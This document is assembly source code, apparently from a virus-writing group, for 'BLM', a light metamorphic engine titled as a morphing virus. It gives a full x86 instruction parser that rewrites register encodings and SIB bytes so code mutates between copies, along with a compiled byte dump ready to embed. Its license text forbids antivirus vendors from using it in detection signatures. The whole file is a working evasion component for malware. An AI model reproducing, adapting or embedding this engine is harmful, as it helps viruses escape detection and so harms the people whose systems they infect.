Virus.Win32.BLM - Morphing virus - Source Code

; BLM ~ BlueOwls Light Meta
; *************************
;
; Details
;
;  Name: BLM (BlueOwls Light Meta)
;  Date: 16 May 2005
;  Size: 412 bytes
;  Morphing power: light
;  Morphing type: non-expansion
;  Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)
;  Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes
;  Used compiler: FASM 1.60
;  Bugs: hopefully none
;
; Morphing
;
;  The following instructions can be morphed:
;
;  1. OP reg, reg -> changing the D bit (2)
;  2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)
;  3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)
;
;  Any other instruction's size is calculated and skipped.
;
; Usage notes
;
;  BLM can be usefull for any application which would like to do code
;  morphing on its own, or other code. There are however, some things
;  to keep note on:
;
;  - Make sure you don't mix data with code, for example:
;    > CALL _LABEL
;    > DB "some string",0
;    > _LABEL:
;    Would make the meta miscorrectly assume "some string",0 to be
;    code. So make sure that in the codearea you specify is no data.
;  - On input, esi is allowed to equal edi, but it is not recommended
;    if it will cause the meta to morph itself on runtime.
;  - This code does not need any data,  and only needs to be able  to
;    execute. It is completely permutatable.
;
; Agreement
;
;  This  sourcecode  is  meant  to be used  in freeware and  shareware
;  programs, and therefor it is strictly prohibited to add any of this
;  code in binary or source format in  scan strings or other detection
;  methods. If done, it will impact on the sellability of the product,
;  and can result in high fees and/or trials before court.
;  YOU HAVE BEEN WARNED

use32

; ������������� META SOURCE ���������������������������������������������

; in:   esi(ecx) = start of code to morph
;       edi(ecx) = start of buffer to put morphed code in
;       ecx = size of code to morph (and buffer)
; out:  esi = esi + ecx
;       edi = edi + ecx
;       other registers are destroyed (except esp)

BLM:        cld
        lea ebx, [esi+ecx]      ; ebx = ptr to end of code to morph
nextcode:   push    ebx
        xor ecx, ecx
        push    4
        pop ebx
        call    .innext
        pop ebx
        rol edx, 7          ; simple RAND function
        neg dx
        cmp ebx, esi
        ja  nextcode
        ret

.next:      movsb
.innext:    mov al, [esi]
        and al, 11100111b
        cmp al, 00100110b       ; es/cs/ss/ds segment?
        jz  .next           ; check if more
        mov al, [esi]
        and al, 11111110b
        cmp al, 01100100b       ; fs/gs segment?
        jz  .next           ; check if more
        cmp al, 11110010b       ; repz/repnz?
        jz  .next           ; check if more
        cmp al, 01100110b       ; WORD?
        jnz opcode
        mov bl, 2           ; set WORD size
        jmp .next

; -----------------------------------------------------------------------

opcode:     mov al, [esi]
        cmp al, 0fh
        jnz branch_start
        movsb
        or  al, [esi]       ; ????1111
        cmp al, 10001111b
        jz  .6byte          ; -> jxx label32
        cmp al, 10111111b
        jz  .3byte          ; -> movzx/bt?
        jmp .done
.6byte:     movsb
        movsb
        movsb
.3byte:     movsb
.done:      movsb
        ret
branch_start:   shl al, 1
        jc  branch_1xxxxxxx
branch_0xxxxxxx:shl al, 1
        jc  branch_01xxxxxx
branch_00xxxxxx:shl al, 4
        jnc op_rmrm_d
op_eax:     mov al, [esi]
        shr al, 1
        jc  .pr32
        movsb
        movsb
        ret             ; -> op al, imm8
.pr32:      add ecx, ebx        ; -> op eax, imm32
        rep movsb
        movsb
        ret
branch_01xxxxxx:cmp al, 11000000b
        jb  .ncjump
        movsb               ; -> jxx label8
.ncjump:    cmp al, 068h
        jz  do_5byte        ; -> push imm32
        cmp al, 06ah
        jnz .done           ; -> popad/pushad/pop/push/dec/inc (reg)
        stosb               ; -> push imm8
.done:      movsb
        ret

op_rmrm_d:  mov al, [esi+1]     ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m
        rcr edx, 1          ; rand true/false
        jc  .nomorph
        cmp al, 11000000b
.nomorph:   jb  op_rm           ; (jc == jb so little optimization)
        lodsb
        xor al, 00000010b
        stosb
        lodsb
        and eax, 00111111b      ; 00000000 00regreg
        shl eax, 5          ; 00000reg reg00000
        shr al, 2           ; 00000reg 00reg000
        or  al, ah          ; 00000xxx 00regreg
        or  al, 11000000b       ; 11regreg
        stosb
        ret

branch_1xxxxxxx:shl al, 1
        jc  branch_11xxxxxx
branch_10xxxxxx:shl al, 1
        jc  branch_101xxxxx
branch_100xxxxx:shl al, 1
        jc  branch_01xxxxxx.ncjump  ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf
branch_1000xxxx:cmp al, 01000000b
        jae op_rm           ; -> test/xchg/mov/lea/pop r/m(,r/m)
        shl al, 3
        jc  op_rmimm8       ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8
        jmp op_rmimm32      ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32
branch_101xxxxx:shl al, 1
        jc  branch_1011xxxx
branch_1010xxxx:and al, 11100000b
        cmp al, 00100000b
        jb  op_eax          ; -> test eax, imm
        cmp al, 10000000b
        jz  do_5byte        ; -> mov mem32, eax
        movsb
        ret             ; -> movs/stos/lods/scas
branch_1011xxxx:shl al, 1
        jnc branch_1100001x.2byte   ; -> mov reg, imm8
        jmp op_eax.pr32     ; -> mov reg, imm32
do_5byte:   movsd
        movsb
        ret
branch_11xxxxxx:shl al, 1
        jc  branch_111xxxxx
branch_110xxxxx:shl al, 1
        jc  branch_1101xxxx
branch_1100xxxx:cmp al, 11010000b
        jz  branch_1100001x.2byte   ; -> int imm8
        shl al, 1
        jc  branch_1100001x.done    ; -> leave/int 3
branch_11000xxx:shl al, 1
        jc  op_rm_w         ; -> mov r/m, imm
branch_110000xx:shl al, 1
        jc  branch_1100001x
        inc ecx         ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
        jmp op_rm
branch_1100001x:shl al, 1
        jc  .done
.3byte:     movsb
.2byte:     movsb               ; -> ret imm16
.done:      movsb
        ret             ; -> ret
branch_1101xxxx:shl al, 2
        jc  branch_1100001x.done    ; -> xlatb
branch_1101x0xx:jmp op_rm           ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1

branch_111xxxxx:shl al, 1
        jc  branch_1111xxxx
branch_1110xxxx:shl al, 1
        jnc branch_11101010     ; -> loop label
branch_11101xxx:cmp al, 00100000b
        jz  branch_111010x0.done    ; -> call label
branch_111010x0:shl al, 2
        jc  branch_11101010
.done:      movsd               ; -> jmp label32
        movsb
        ret
branch_11101010:movsb
        movsb
        ret             ; -> jmp label8
branch_1111xxxx:shl al, 1
        jc  branch_11111xxx
branch_11110xxx:shl al, 2
        jnc branch_11111xxx.done    ; -> cmc
branch_11111x1x:mov al, [esi+1]     ; al = modr/m
        and al, 00111000b
        jnz op_rm           ; -> not/mul/div/idiv
        jmp op_rm_w         ; -> test
branch_11111xxx:shl al, 1
        jc  .done           ; -> clc/stc/cli
        shr al, 1
        jc  op_rm           ; -> inc/dec/call/jmp/push
.done:      movsb
        ret             ; -> cld/std

; -----------------------------------------------------------------------

op_rm_w:    mov al, [esi]
        shr al, 1
        jnc op_rmimm8
op_rmimm32: add ecx, ebx        ; imm length will be 4 or 2
        dec ecx
op_rmimm8:  inc ecx         ; imm length = 1 byte
op_rm:      movsb
        lodsb
        stosb
        cmp al, 11000000b       ; op reg, reg
        jae .done
        mov ah, al
        and al, 111b
        shr ah, 6
        jz  .regaddr
        cmp ah, 00000001b
        jz  .ddone
        add ecx, 3          ; op reg, [reg+dword]
.ddone:     inc ecx         ; op reg, [reg+byte]
.cmpsib:    cmp al, 00000100b
        jnz .done
        xor ebx, ebx
        mov eax, ebx
        lodsb               ; 00000000 iiregreg
        shl eax, 2          ; 000000ii regreg00
        xchg    bl, ah          ; 00000000 regreg00
        shl eax, 3          ; 00000reg reg00000
        shr al, 5           ; 00000reg 00000reg
        cmp ah, 4
        jz  .randindex
        cmp al, 4
        jz  .nosib
        or  bl, bl          ; index = 1?
        jnz .nosib
        rcr edx, 1
        jnc .nosib          ; randomly abort switch
        xchg    al, ah
        jmp .nosib
.randindex: mov bl, dl          ; index is random
        and bl, 00000011b
.nosib:     shl al, 5           ; 00000reg reg00000
        shr eax, 3          ; 00000000 regreg00
        mov ah, bl          ; 000000ii regreg00
        shr eax, 2          ; 00000000 iiregreg
        stosb
.done:      rep movsb
        ret
.regaddr:   cmp al, 00000101b       ; op reg, [dword]
        jnz .cmpsib
        movsd
        jmp .done

; ������������� META BINARY ���������������������������������������������

; in:   esi(ecx) = start of code to morph
;       edi(ecx) = start of buffer to put morphed code in
;       ecx = size of code to morph (and buffer)
; out:  esi = esi + ecx
;       edi = edi + ecx
;       other registers are destroyed (except esp)

BLM:        db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91
        db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231
        db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235
        db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10
        db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164
        db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6
        db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114
        db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1
        db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170
        db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195
        db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131
        db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208
        db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208
        db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27
        db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3
        db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249
        db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224
        db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2
        db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208
        db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164
        db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128
        db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216
        db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116
        db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235
        db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232
        db 2,170,243,164,195,60,5,117,191,165,235,246

; �����������������������������������������������������������������������